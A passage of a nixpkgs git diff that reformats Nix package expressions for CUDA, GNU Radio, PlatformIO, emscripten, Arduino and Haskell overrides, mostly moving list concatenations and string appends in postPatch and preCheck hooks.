-    ''
-    # CUDA 12.8 uses GCC 14 and we need to bump C++ standard to C++14
-    # in order to work with new constexpr handling
-    + lib.optionalString (cudaAtLeast "12.8") ''
-      substituteInPlace ./makefiles/common.mk \
-        --replace-fail "-std=c++11" "-std=c++14"
-    '';
+  postPatch = ''
+    patchShebangs ./src/device/generate.py
+  ''
+  # CUDA 12.8 uses GCC 14 and we need to bump C++ standard to C++14
+  # in order to work with new constexpr handling
+  + lib.optionalString (cudaAtLeast "12.8") ''
+    substituteInPlace ./makefiles/common.mk \
+      --replace-fail "-std=c++11" "-std=c++14"
+  '';
 
-  makeFlags =
-    [
-      "PREFIX=$(out)"
-      "NVCC_GENCODE=${flags.gencodeString}"
-    ]
-    ++ lib.optionals (cudaOlder "11.4") [
-      "CUDA_HOME=${cudatoolkit}"
-      "CUDA_LIB=${lib.getLib cudatoolkit}/lib"
-      "CUDA_INC=${lib.getDev cudatoolkit}/include"
-    ]
-    ++ lib.optionals (cudaAtLeast "11.4") [
-      "CUDA_HOME=${cuda_nvcc}"
-      "CUDA_LIB=${lib.getLib cuda_cudart}/lib"
-      "CUDA_INC=${lib.getDev cuda_cudart}/include"
-    ];
+  makeFlags = [
+    "PREFIX=$(out)"
+    "NVCC_GENCODE=${flags.gencodeString}"
+  ]
+  ++ lib.optionals (cudaOlder "11.4") [
+    "CUDA_HOME=${cudatoolkit}"
+    "CUDA_LIB=${lib.getLib cudatoolkit}/lib"
+    "CUDA_INC=${lib.getDev cudatoolkit}/include"
+  ]
+  ++ lib.optionals (cudaAtLeast "11.4") [
+    "CUDA_HOME=${cuda_nvcc}"
+    "CUDA_LIB=${lib.getLib cuda_cudart}/lib"
+    "CUDA_INC=${lib.getDev cuda_cudart}/include"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/development/cuda-modules/packages/saxpy/package.nix b/pkgs/development/cuda-modules/packages/saxpy/package.nix
index b214df4a9e87..adb48090497e 100644
--- a/pkgs/development/cuda-modules/packages/saxpy/package.nix
+++ b/pkgs/development/cuda-modules/packages/saxpy/package.nix
@@ -28,13 +28,12 @@ backendStdenv.mkDerivation {
   __structuredAttrs = true;
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      autoAddDriverRunpath
-    ]
-    ++ lib.optionals (cudaOlder "11.4") [ cudatoolkit ]
-    ++ lib.optionals (cudaAtLeast "11.4") [ cuda_nvcc ];
+  nativeBuildInputs = [
+    cmake
+    autoAddDriverRunpath
+  ]
+  ++ lib.optionals (cudaOlder "11.4") [ cudatoolkit ]
+  ++ lib.optionals (cudaAtLeast "11.4") [ cuda_nvcc ];
 
   buildInputs =
     lib.optionals (cudaOlder "11.4") [ cudatoolkit ]
diff --git a/pkgs/development/em-modules/generic/default.nix b/pkgs/development/em-modules/generic/default.nix
index c34fdaf82a59..394defdb631d 100644
--- a/pkgs/development/em-modules/generic/default.nix
+++ b/pkgs/development/em-modules/generic/default.nix
@@ -29,11 +29,13 @@ wrapDerivation (
     buildInputs = [
       emscripten
       python3
-    ] ++ buildInputs;
+    ]
+    ++ buildInputs;
     nativeBuildInputs = [
       emscripten
       python3
-    ] ++ nativeBuildInputs;
+    ]
+    ++ nativeBuildInputs;
 
     # fake conftest results with emscripten's python magic
     EMCONFIGURE_JS = 2;
@@ -84,17 +86,16 @@ wrapDerivation (
 
     enableParallelBuilding = args.enableParallelBuilding or true;
 
-    meta =
-      {
-        # Add default meta information
-        platforms = lib.platforms.all;
-        # Do not build this automatically
-        hydraPlatforms = [ ];
-      }
-      // meta
-      // {
-        # add an extra maintainer to every package
-        maintainers = (meta.maintainers or [ ]) ++ [ lib.maintainers.qknight ];
-      };
+    meta = {
+      # Add default meta information
+      platforms = lib.platforms.all;
+      # Do not build this automatically
+      hydraPlatforms = [ ];
+    }
+    // meta
+    // {
+      # add an extra maintainer to every package
+      maintainers = (meta.maintainers or [ ]) ++ [ lib.maintainers.qknight ];
+    };
   }
 )
diff --git a/pkgs/development/embedded/arduino/arduino-core/default.nix b/pkgs/development/embedded/arduino/arduino-core/default.nix
index 133e5b02fda6..7f62463ceba9 100644
--- a/pkgs/development/embedded/arduino/arduino-core/default.nix
+++ b/pkgs/development/embedded/arduino/arduino-core/default.nix
@@ -149,7 +149,8 @@ stdenv.mkDerivation rec {
     zlib
     ncurses5
     readline
-  ] ++ lib.optionals withTeensyduino [ upx ];
+  ]
+  ++ lib.optionals withTeensyduino [ upx ];
   downloadSrcList = builtins.attrValues externalDownloads;
   downloadDstList = builtins.attrNames externalDownloads;
 
diff --git a/pkgs/development/embedded/platformio/core.nix b/pkgs/development/embedded/platformio/core.nix
index ece863e50baf..04d824325262 100644
--- a/pkgs/development/embedded/platformio/core.nix
+++ b/pkgs/development/embedded/platformio/core.nix
@@ -61,32 +61,31 @@ buildPythonApplication rec {
 
   pythonRelaxDeps = true;
 
-  propagatedBuildInputs =
-    [
-      aiofiles
-      ajsonrpc
-      bottle
-      click
-      click-completion
-      colorama
-      git
-      lockfile
-      marshmallow
-      pyelftools
-      pyserial
-      requests
-      semantic-version
-      setuptools
-      spdx-license-list-data.json
-      starlette
-      tabulate
-      uvicorn
-      wsproto
-      zeroconf
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      chardet
-    ];
+  propagatedBuildInputs = [
+    aiofiles
+    ajsonrpc
+    bottle
+    click
+    click-completion
+    colorama
+    git
+    lockfile
+    marshmallow
+    pyelftools
+    pyserial
+    requests
+    semantic-version
+    setuptools
+    spdx-license-list-data.json
+    starlette
+    tabulate
+    uvicorn
+    wsproto
+    zeroconf
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    chardet
+  ];
 
   preCheck = ''
     export PATH=$PATH:$out/bin
@@ -140,68 +139,67 @@ buildPythonApplication rec {
     "test_metadata_dump"
   ];
 
-  pytestFlagsArray =
-    [
-      "tests"
-    ]
-    ++ (map (e: "--deselect tests/${e}") [
-      "commands/pkg/test_exec.py::test_pkg_specified"
-      "commands/pkg/test_exec.py::test_unrecognized_options"
-      "commands/test_ci.py::test_ci_boards"
-      "commands/test_ci.py::test_ci_build_dir"
-      "commands/test_ci.py::test_ci_keep_build_dir"
-      "commands/test_ci.py::test_ci_lib_and_board"
-      "commands/test_ci.py::test_ci_project_conf"
-      "commands/test_init.py::test_init_custom_framework"
-      "commands/test_init.py::test_init_duplicated_boards"
-      "commands/test_init.py::test_init_enable_auto_uploading"
-      "commands/test_init.py::test_init_ide_atom"
-      "commands/test_init.py::test_init_ide_clion"
-      "commands/test_init.py::test_init_ide_eclipse"
-      "commands/test_init.py::test_init_ide_vscode"
-      "commands/test_init.py::test_init_incorrect_board"
-      "commands/test_init.py::test_init_special_board"
-      "commands/test_lib.py::test_global_install_archive"
-      "commands/test_lib.py::test_global_install_registry"
-      "commands/test_lib.py::test_global_install_repository"
-      "commands/test_lib.py::test_global_lib_list"
-      "commands/test_lib.py::test_global_lib_uninstall"
-      "commands/test_lib.py::test_global_lib_update"
-      "commands/test_lib.py::test_global_lib_update_check"
-      "commands/test_lib.py::test_install_duplicates"
-      "commands/test_lib.py::test_lib_show"
-      "commands/test_lib.py::test_lib_stats"
-      "commands/test_lib.py::test_saving_deps"
-      "commands/test_lib.py::test_search"
-      "commands/test_lib.py::test_update"
-      "commands/test_lib_complex.py::test_global_install_archive"
-      "commands/test_lib_complex.py::test_global_install_registry"
-      "commands/test_lib_complex.py::test_global_install_repository"
-      "commands/test_lib_complex.py::test_global_lib_list"
-      "commands/test_lib_complex.py::test_global_lib_uninstall"
-      "commands/test_lib_complex.py::test_global_lib_update"
-      "commands/test_lib_complex.py::test_global_lib_update_check"
-      "commands/test_lib_complex.py::test_install_duplicates"
-      "commands/test_lib_complex.py::test_lib_show"
-      "commands/test_lib_complex.py::test_lib_stats"
-      "commands/test_lib_complex.py::test_search"
-      "package/test_manager.py::test_download"
-      "package/test_manager.py::test_install_force"
-      "package/test_manager.py::test_install_from_registry"
-      "package/test_manager.py::test_install_lib_depndencies"
-      "package/test_manager.py::test_registry"
-      "package/test_manager.py::test_uninstall"
-      "package/test_manager.py::test_update_with_metadata"
-      "package/test_manager.py::test_update_without_metadata"
-      "test_builder.py::test_build_flags"
-      "test_builder.py::test_build_unflags"
-      "test_builder.py::test_debug_custom_build_flags"
-      "test_builder.py::test_debug_default_build_flags"
-      "test_misc.py::test_api_cache"
-      "test_misc.py::test_ping_internet_ips"
-      "test_misc.py::test_platformio_cli"
-      "test_pkgmanifest.py::test_packages"
-    ]);
+  pytestFlagsArray = [
+    "tests"
+  ]
+  ++ (map (e: "--deselect tests/${e}") [
+    "commands/pkg/test_exec.py::test_pkg_specified"
+    "commands/pkg/test_exec.py::test_unrecognized_options"
+    "commands/test_ci.py::test_ci_boards"
+    "commands/test_ci.py::test_ci_build_dir"
+    "commands/test_ci.py::test_ci_keep_build_dir"
+    "commands/test_ci.py::test_ci_lib_and_board"
+    "commands/test_ci.py::test_ci_project_conf"
+    "commands/test_init.py::test_init_custom_framework"
+    "commands/test_init.py::test_init_duplicated_boards"
+    "commands/test_init.py::test_init_enable_auto_uploading"
+    "commands/test_init.py::test_init_ide_atom"
+    "commands/test_init.py::test_init_ide_clion"
+    "commands/test_init.py::test_init_ide_eclipse"
+    "commands/test_init.py::test_init_ide_vscode"
+    "commands/test_init.py::test_init_incorrect_board"
+    "commands/test_init.py::test_init_special_board"
+    "commands/test_lib.py::test_global_install_archive"
+    "commands/test_lib.py::test_global_install_registry"
+    "commands/test_lib.py::test_global_install_repository"
+    "commands/test_lib.py::test_global_lib_list"
+    "commands/test_lib.py::test_global_lib_uninstall"
+    "commands/test_lib.py::test_global_lib_update"
+    "commands/test_lib.py::test_global_lib_update_check"
+    "commands/test_lib.py::test_install_duplicates"
+    "commands/test_lib.py::test_lib_show"
+    "commands/test_lib.py::test_lib_stats"
+    "commands/test_lib.py::test_saving_deps"
+    "commands/test_lib.py::test_search"
+    "commands/test_lib.py::test_update"
+    "commands/test_lib_complex.py::test_global_install_archive"
+    "commands/test_lib_complex.py::test_global_install_registry"
+    "commands/test_lib_complex.py::test_global_install_repository"
+    "commands/test_lib_complex.py::test_global_lib_list"
+    "commands/test_lib_complex.py::test_global_lib_uninstall"
+    "commands/test_lib_complex.py::test_global_lib_update"
+    "commands/test_lib_complex.py::test_global_lib_update_check"
+    "commands/test_lib_complex.py::test_install_duplicates"
+    "commands/test_lib_complex.py::test_lib_show"
+    "commands/test_lib_complex.py::test_lib_stats"
+    "commands/test_lib_complex.py::test_search"
+    "package/test_manager.py::test_download"
+    "package/test_manager.py::test_install_force"
+    "package/test_manager.py::test_install_from_registry"
+    "package/test_manager.py::test_install_lib_depndencies"
+    "package/test_manager.py::test_registry"
+    "package/test_manager.py::test_uninstall"
+    "package/test_manager.py::test_update_with_metadata"
+    "package/test_manager.py::test_update_without_metadata"
+    "test_builder.py::test_build_flags"
+    "test_builder.py::test_build_unflags"
+    "test_builder.py::test_debug_custom_build_flags"
+    "test_builder.py::test_debug_default_build_flags"
+    "test_misc.py::test_api_cache"
+    "test_misc.py::test_ping_internet_ips"
+    "test_misc.py::test_platformio_cli"
+    "test_pkgmanifest.py::test_packages"
+  ]);
 
   passthru = {
     python = python3Packages.python;
diff --git a/pkgs/development/gnuradio-modules/bladeRF/default.nix b/pkgs/development/gnuradio-modules/bladeRF/default.nix
index 6251784b3a4c..406fee83202e 100644
--- a/pkgs/development/gnuradio-modules/bladeRF/default.nix
+++ b/pkgs/development/gnuradio-modules/bladeRF/default.nix
@@ -26,33 +26,31 @@ mkDerivation {
     hash = "sha256-josovHEp2VxgZqItkTAISdY1LARMIvQKD604fh4iZWc=";
   };
 
-  buildInputs =
-    [
-      boost
-      doxygen
-      gmp
-      gnuradio
-      libbladeRF
-      mpir
-      osmosdr
-      spdlog
-    ]
-    ++ lib.optionals (gnuradio.hasFeature "python-support") [
-      python.pkgs.numpy
-      python.pkgs.pybind11
-    ];
+  buildInputs = [
+    boost
+    doxygen
+    gmp
+    gnuradio
+    libbladeRF
+    mpir
+    osmosdr
+    spdlog
+  ]
+  ++ lib.optionals (gnuradio.hasFeature "python-support") [
+    python.pkgs.numpy
+    python.pkgs.pybind11
+  ];
   cmakeFlags = [
     (lib.cmakeBool "ENABLE_PYTHON" (gnuradio.hasFeature "python-support"))
   ];
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals (gnuradio.hasFeature "python-support") [
-      python.pkgs.mako
-      python.pkgs.pygccxml
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals (gnuradio.hasFeature "python-support") [
+    python.pkgs.mako
+    python.pkgs.pygccxml
+  ];
 
   meta = {
     description = "GNU Radio source and sink blocks for bladeRF devices";
diff --git a/pkgs/development/gnuradio-modules/fosphor/default.nix b/pkgs/development/gnuradio-modules/fosphor/default.nix
index d6334cf9d116..eafe57d57583 100644
--- a/pkgs/development/gnuradio-modules/fosphor/default.nix
+++ b/pkgs/development/gnuradio-modules/fosphor/default.nix
@@ -37,40 +37,38 @@ mkDerivation {
   };
   disabled = gnuradioOlder "3.9" || gnuradioAtLeast "3.11";
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals (gnuradio.hasFeature "gr-qtgui") [
-      qt5.wrapQtAppsHook
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals (gnuradio.hasFeature "gr-qtgui") [
+    qt5.wrapQtAppsHook
+  ];
 
-  buildInputs =
-    [
-      logLib
-      mpir
-      gmp
-      boost
-      libGL
-      opencl-headers
-      ocl-icd
-      freetype
-      fftwFloat
-    ]
-    ++ lib.optionals (gnuradio.hasFeature "gr-qtgui") [
-      qt5.qtbase
-    ]
-    ++ lib.optionals (gnuradio.hasFeature "python-support") [
-      python.pkgs.pybind11
-      python.pkgs.numpy
-    ]
-    ++ lib.optionals enableGLFW [
-      glfw3
-    ]
-    ++ lib.optionals enablePNG [
-      libpng
-    ];
+  buildInputs = [
+    logLib
+    mpir
+    gmp
+    boost
+    libGL
+    opencl-headers
+    ocl-icd
+    freetype
+    fftwFloat
+  ]
+  ++ lib.optionals (gnuradio.hasFeature "gr-qtgui") [
+    qt5.qtbase
+  ]
+  ++ lib.optionals (gnuradio.hasFeature "python-support") [
+    python.pkgs.pybind11
+    python.pkgs.numpy
+  ]
+  ++ lib.optionals enableGLFW [
+    glfw3
+  ]
+  ++ lib.optionals enablePNG [
+    libpng
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "ENABLE_QT" (gnuradio.hasFeature "gr-qtgui"))
diff --git a/pkgs/development/gnuradio-modules/lora_sdr/default.nix b/pkgs/development/gnuradio-modules/lora_sdr/default.nix
index b980ad665800..18ac1fc65e2a 100644
--- a/pkgs/development/gnuradio-modules/lora_sdr/default.nix
+++ b/pkgs/development/gnuradio-modules/lora_sdr/default.nix
@@ -35,17 +35,16 @@ mkDerivation {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      logLib
-      mpir
-      gmp
-      boost
-    ]
-    ++ lib.optionals (gnuradio.hasFeature "python-support") [
-      python.pkgs.pybind11
-      python.pkgs.numpy
-    ];
+  buildInputs = [
+    logLib
+    mpir
+    gmp
+    boost
+  ]
+  ++ lib.optionals (gnuradio.hasFeature "python-support") [
+    python.pkgs.pybind11
+    python.pkgs.numpy
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "ENABLE_PYTHON" (gnuradio.hasFeature "python-support"))
diff --git a/pkgs/development/gnuradio-modules/osmosdr/default.nix b/pkgs/development/gnuradio-modules/osmosdr/default.nix
index d2fa4fd1866a..a1fbe4e7cc46 100644
--- a/pkgs/development/gnuradio-modules/osmosdr/default.nix
+++ b/pkgs/development/gnuradio-modules/osmosdr/default.nix
@@ -41,46 +41,44 @@ mkDerivation rec {
     "dev"
   ];
 
-  buildInputs =
-    [
-      logLib
-      mpir
-      boost
-      fftwFloat
-      gmp
-      icu
-      airspy
-      hackrf
-      libbladeRF
-      rtl-sdr
-      soapysdr-with-plugins
-    ]
-    ++ lib.optionals (gnuradio.hasFeature "gr-blocks") [
-      libsndfile
-    ]
-    ++ lib.optionals (gnuradio.hasFeature "gr-uhd") [
-      uhd
-    ]
-    ++ lib.optionals (gnuradio.hasFeature "gr-ctrlport") [
-      thrift
-      python.pkgs.thrift
-    ]
-    ++ lib.optionals (gnuradio.hasFeature "python-support") [
-      python.pkgs.numpy
-      python.pkgs.pybind11
-    ];
+  buildInputs = [
+    logLib
+    mpir
+    boost
+    fftwFloat
+    gmp
+    icu
+    airspy
+    hackrf
+    libbladeRF
+    rtl-sdr
+    soapysdr-with-plugins
+  ]
+  ++ lib.optionals (gnuradio.hasFeature "gr-blocks") [
+    libsndfile
+  ]
+  ++ lib.optionals (gnuradio.hasFeature "gr-uhd") [
+    uhd
+  ]
+  ++ lib.optionals (gnuradio.hasFeature "gr-ctrlport") [
+    thrift
+    python.pkgs.thrift
+  ]
+  ++ lib.optionals (gnuradio.hasFeature "python-support") [
+    python.pkgs.numpy
+    python.pkgs.pybind11
+  ];
   cmakeFlags = [
     (if (gnuradio.hasFeature "python-support") then "-DENABLE_PYTHON=ON" else "-DENABLE_PYTHON=OFF")
   ];
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals (gnuradio.hasFeature "python-support") [
-      python.pkgs.mako
-      python
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals (gnuradio.hasFeature "python-support") [
+    python.pkgs.mako
+    python
+  ];
 
   meta = {
     description = "Gnuradio block for OsmoSDR and rtl-sdr";
diff --git a/pkgs/development/haskell-modules/configuration-common.nix b/pkgs/development/haskell-modules/configuration-common.nix
index c0ed77609a5e..e9637865a2b6 100644
--- a/pkgs/development/haskell-modules/configuration-common.nix
+++ b/pkgs/development/haskell-modules/configuration-common.nix
@@ -63,11 +63,9 @@ self: super:
       (drv: {
         # Revert increased lower bound on unix since we have backported
         # the required patch to all GHC bundled versions of unix.
-        postPatch =
-          drv.postPatch or ""
-          + ''
-            substituteInPlace Cabal.cabal --replace-fail "unix  >= 2.8.6.0" "unix >= 2.6.0.0"
-          '';
+        postPatch = drv.postPatch or "" + ''
+          substituteInPlace Cabal.cabal --replace-fail "unix  >= 2.8.6.0" "unix >= 2.6.0.0"
+        '';
       })
       (
         doDistribute (
@@ -107,35 +105,34 @@ self: super:
             old:
             {
               # Prevent DOS line endings from Hackage from breaking a patch
-              prePatch =
-                old.prePatch or ""
-                + ''
-                  ${pkgs.buildPackages.dos2unix}/bin/dos2unix *.cabal
-                '';
+              prePatch = old.prePatch or "" + ''
+                ${pkgs.buildPackages.dos2unix}/bin/dos2unix *.cabal
+              '';
               # Ignore unix bound intended to prevent an unix bug on 32bit systems.
               # We apply a patch for this issue to the GHC core packages directly.
               # See unix-fix-ctimeval-size-32-bit.patch in ../compilers/ghc/common-*.nix
               patches =
                 old.patches or [ ]
-                ++ lib.optionals
-                  (
-                    scope.unix == null
-                    && lib.elem self.ghc.version [
-                      "9.6.1"
-                      "9.6.2"
-                      "9.6.3"
-                      "9.6.4"
-                      "9.6.5"
-                      "9.6.6"
-                      "9.8.1"
-                      "9.8.2"
-                      "9.8.3"
-                      "9.10.1"
-                    ]
-                  )
-                  [
-                    ./patches/cabal-install-3.14.1.1-lift-unix-bound.patch
-                  ];
+                ++
+                  lib.optionals
+                    (
+                      scope.unix == null
+                      && lib.elem self.ghc.version [
+                        "9.6.1"
+                        "9.6.2"
+                        "9.6.3"
+                        "9.6.4"
+                        "9.6.5"
+                        "9.6.6"
+                        "9.8.1"
+                        "9.8.2"
+                        "9.8.3"
+                        "9.10.1"
+                      ]
+                    )
+                    [
+                      ./patches/cabal-install-3.14.1.1-lift-unix-bound.patch
+                    ];
             }
             // lib.optionalAttrs (pkgs.stdenv.hostPlatform.isDarwin && pkgs.stdenv.hostPlatform.isAarch64) {
               postInstall = ''
@@ -630,11 +627,9 @@ self: super:
   ABList = dontCheck super.ABList;
 
   inline-c-cpp = overrideCabal (drv: {
-    postPatch =
-      (drv.postPatch or "")
-      + ''
-        substituteInPlace inline-c-cpp.cabal --replace "-optc-std=c++11" ""
-      '';
+    postPatch = (drv.postPatch or "") + ''
+      substituteInPlace inline-c-cpp.cabal --replace "-optc-std=c++11" ""
+    '';
   }) super.inline-c-cpp;
 
   inline-java = addBuildDepend pkgs.jdk super.inline-java;
@@ -1133,11 +1128,9 @@ self: super:
   # https://github.com/Philonous/hs-stun/pull/1
   # Remove if a version > 0.1.0.1 ever gets released.
   stunclient = overrideCabal (drv: {
-    postPatch =
-      (drv.postPatch or "")
-      + ''
-        substituteInPlace source/Network/Stun/MappedAddress.hs --replace "import Network.Endian" ""
-      '';
+    postPatch = (drv.postPatch or "") + ''
+      substituteInPlace source/Network/Stun/MappedAddress.hs --replace "import Network.Endian" ""
+    '';
   }) super.stunclient;
 
   d-bus =
@@ -1217,13 +1210,11 @@ self: super:
   # in LTS-13.x.
   cryptol = overrideCabal (drv: {
     buildTools = drv.buildTools or [ ] ++ [ pkgs.buildPackages.makeWrapper ];
-    postInstall =
-      drv.postInstall or ""
-      + ''
-        for b in $out/bin/cryptol $out/bin/cryptol-html; do
-          wrapProgram $b --prefix 'PATH' ':' "${lib.getBin pkgs.z3}/bin"
-        done
-      '';
+    postInstall = drv.postInstall or "" + ''
+      for b in $out/bin/cryptol $out/bin/cryptol-html; do
+        wrapProgram $b --prefix 'PATH' ':' "${lib.getBin pkgs.z3}/bin"
+      done
+    '';
   }) super.cryptol;
 
   # Z3 removed aliases for boolean types in 4.12
@@ -1267,11 +1258,10 @@ self: super:
     # Flaky tests: https://github.com/jfischoff/tmp-postgres/issues/274
     doCheck = false;
 
-    preCheck =
-      ''
-        export HOME="$TMPDIR"
-      ''
-      + (drv.preCheck or "");
+    preCheck = ''
+      export HOME="$TMPDIR"
+    ''
+    + (drv.preCheck or "");
     libraryToolDepends = drv.libraryToolDepends or [ ] ++ [ pkgs.buildPackages.postgresql ];
     testToolDepends = drv.testToolDepends or [ ] ++ [ pkgs.procps ];
   }) super.tmp-postgres;
@@ -1320,11 +1310,9 @@ self: super:
   # Workaround for https://github.com/sol/hpack/issues/528
   # The hpack test suite can't deal with the CRLF line endings hackage revisions insert
   hpack = overrideCabal (drv: {
-    postPatch =
-      drv.postPatch or ""
-      + ''
-        "${lib.getBin pkgs.buildPackages.dos2unix}/bin/dos2unix" *.cabal
-      '';
+    postPatch = drv.postPatch or "" + ''
+      "${lib.getBin pkgs.buildPackages.dos2unix}/bin/dos2unix" *.cabal
+    '';
   }) super.hpack;
 
   # hslua has tests that break when using musl.
@@ -1401,12 +1389,10 @@ self: super:
   # https://github.com/NixOS/nixpkgs/issues/6860
   PortMidi = overrideCabal (drv: {
     patches = (drv.patches or [ ]) ++ [ ./patches/portmidi-alsa-plugins.patch ];
-    postPatch =
-      (drv.postPatch or "")
-      + ''
-        substituteInPlace portmidi/pm_linux/pmlinuxalsa.c \
-          --replace @alsa_plugin_dir@ "${pkgs.alsa-plugins}/lib/alsa-lib"
-      '';
+    postPatch = (drv.postPatch or "") + ''
+      substituteInPlace portmidi/pm_linux/pmlinuxalsa.c \
+        --replace @alsa_plugin_dir@ "${pkgs.alsa-plugins}/lib/alsa-lib"
+    '';
   }) super.PortMidi;
 
   scat = overrideCabal (drv: {
@@ -1430,20 +1416,16 @@ self: super:
   esqueleto =
     overrideCabal
       (drv: {
-        postPatch =
-          drv.postPatch or ""
-          + ''
-            # patch out TCP usage: https://nixos.org/manual/nixpkgs/stable/#sec-postgresqlTestHook-tcp
-            sed -i test/PostgreSQL/Test.hs \
-              -e s^host=localhost^^
-          '';
+        postPatch = drv.postPatch or "" + ''
+          # patch out TCP usage: https://nixos.org/manual/nixpkgs/stable/#sec-postgresqlTestHook-tcp
+          sed -i test/PostgreSQL/Test.hs \
+            -e s^host=localhost^^
+        '';
         # Match the test suite defaults (or hardcoded values?)
-        preCheck =
-          drv.preCheck or ""
-          + ''
-            PGUSER=esqutest
-            PGDATABASE=esqutest
-          '';
+        preCheck = drv.preCheck or "" + ''
+          PGUSER=esqutest
+          PGDATABASE=esqutest
+        '';
         testFlags = drv.testFlags or [ ] ++ [
           # We don't have a MySQL test hook yet
           "--skip=/Esqueleto/MySQL"
@@ -1488,22 +1470,18 @@ self: super:
 
   # it wants to build a statically linked binary by default
   hledger-flow = overrideCabal (drv: {
-    postPatch =
-      (drv.postPatch or "")
-      + ''
-        substituteInPlace hledger-flow.cabal --replace "-static" ""
-      '';
+    postPatch = (drv.postPatch or "") + ''
+      substituteInPlace hledger-flow.cabal --replace "-static" ""
+    '';
   }) super.hledger-flow;
 
   # Chart-tests needs and compiles some modules from Chart itself
   Chart-tests = overrideCabal (old: {
     # 2025-02-13: Too strict bounds on lens < 5.3 and vector < 0.13
     jailbreak = true;
-    preCheck =
-      old.preCheck or ""
-      + ''
-        tar --one-top-level=../chart --strip-components=1 -xf ${self.Chart.src}
-      '';
+    preCheck = old.preCheck or "" + ''
+      tar --one-top-level=../chart --strip-components=1 -xf ${self.Chart.src}
+    '';
   }) (addExtraLibrary self.QuickCheck super.Chart-tests);
 
   # This breaks because of version bounds, but compiles and runs fine.
@@ -1522,20 +1500,16 @@ self: super:
     # TODO: move this override to configuration-nix.nix
     overrideCabal
       (drv: {
-        postPatch =
-          drv.postPath or ""
-          + ''
-            # patch out TCP usage: https://nixos.org/manual/nixpkgs/stable/#sec-postgresqlTestHook-tcp
-            # NOTE: upstream host variable takes only two values...
-            sed -i test/PgInit.hs \
-              -e s^'host=" <> host <> "'^^
-          '';
-        preCheck =
-          drv.preCheck or ""
-          + ''
-            PGDATABASE=test
-            PGUSER=test
-          '';
+        postPatch = drv.postPath or "" + ''
+          # patch out TCP usage: https://nixos.org/manual/nixpkgs/stable/#sec-postgresqlTestHook-tcp
+          # NOTE: upstream host variable takes only two values...
+          sed -i test/PgInit.hs \
+            -e s^'host=" <> host <> "'^^
+        '';
+        preCheck = drv.preCheck or "" + ''
+          PGDATABASE=test
+          PGUSER=test
+        '';
         testToolDepends = drv.testToolDepends or [ ] ++ [
           pkgs.postgresql
           pkgs.postgresqlTestHook
@@ -1616,12 +1590,10 @@ self: super:
   jsaddle-webkit2gtk =
     overrideCabal
       (drv: {
-        postPatch =
-          drv.postPatch or ""
-          + ''
-            substituteInPlace jsaddle-webkit2gtk.cabal --replace-fail gi-gtk gi-gtk3
-            substituteInPlace jsaddle-webkit2gtk.cabal --replace-fail gi-javascriptcore gi-javascriptcore4
-          '';
+        postPatch = drv.postPatch or "" + ''
+          substituteInPlace jsaddle-webkit2gtk.cabal --replace-fail gi-gtk gi-gtk3
+          substituteInPlace jsaddle-webkit2gtk.cabal --replace-fail gi-javascriptcore gi-javascriptcore4
+        '';
       })
       (
         super.jsaddle-webkit2gtk.override {
@@ -1754,11 +1726,9 @@ self: super:
       (self.generateOptparseApplicativeCompletions [ "update-nix-fetchgit" ])
       (overrideCabal (drv: {
         buildTools = drv.buildTools or [ ] ++ [ pkgs.buildPackages.makeWrapper ];
-        postInstall =
-          drv.postInstall or ""
-          + ''
-            wrapProgram "$out/bin/update-nix-fetchgit" --prefix 'PATH' ':' "${lib.makeBinPath deps}"
-          '';
+        postInstall = drv.postInstall or "" + ''
+          wrapProgram "$out/bin/update-nix-fetchgit" --prefix 'PATH' ':' "${lib.makeBinPath deps}"
+        '';
       }))
       (addTestToolDepends deps)
       # Patch for hnix compat.
@@ -1913,17 +1883,15 @@ self: super:
 
     buildTools = (old.buildTools or [ ]) ++ [ pkgs.buildPackages.installShellFiles ];
     # let testsuite discover the resulting binary
-    preCheck =
-      ''
-        export SPACECOOKIE_TEST_BIN=./dist/build/spacecookie/spacecookie
-      ''
-      + (old.preCheck or "");
+    preCheck = ''
+      export SPACECOOKIE_TEST_BIN=./dist/build/spacecookie/spacecookie
+    ''
+    + (old.preCheck or "");
     # install man pages shipped in the sdist
-    postInstall =
-      ''
-        installManPage docs/man/*
-      ''
-      + (old.postInstall or "");
+    postInstall = ''
+      installManPage docs/man/*
+    ''
+    + (old.postInstall or "");
   }) super.spacecookie;
 
   # Patch and jailbreak can be removed at next release, chatter > 0.9.1.0
@@ -2115,11 +2083,9 @@ self: super:
       # from upstream because the gi-vte repo doesn't actually contain a
       # gi-vte.cabal file. The gi-vte.cabal file is generated from metadata in
       # the repo.
-      postPatch =
-        (oldAttrs.postPatch or "")
-        + ''
-          sed -i 's/\(gi-gtk == .*\),/\1, gi-gdkpixbuf == 2.0.*,/' ./gi-vte.cabal
-        '';
+      postPatch = (oldAttrs.postPatch or "") + ''
+        sed -i 's/\(gi-gtk == .*\),/\1, gi-gdkpixbuf == 2.0.*,/' ./gi-vte.cabal
+      '';
       buildDepends = (oldAttrs.buildDepends or [ ]) ++ [ self.gi-gdkpixbuf ];
     }
   ) super.gi-vte;
@@ -2240,7 +2206,8 @@ self: super:
         "/Data.List.UniqueUnsorted.repeatedBy,repeated,unique/unique: simple test/"
         "--skip"
         "/Data.List.UniqueUnsorted.repeatedBy,repeated,unique/repeatedBy: simple test/"
-      ] ++ drv.testFlags or [ ];
+      ]
+      ++ drv.testFlags or [ ];
     }) super.Unique;
 
   # https://github.com/AndrewRademacher/aeson-casing/issues/8
@@ -2250,7 +2217,8 @@ self: super:
       testFlags = [
         "-p"
         "! /encode train/"
-      ] ++ drv.testFlags or [ ];
+      ]
+      ++ drv.testFlags or [ ];
     }) super.aeson-casing;
 
   # https://github.com/emc2/HUnit-Plus/issues/26
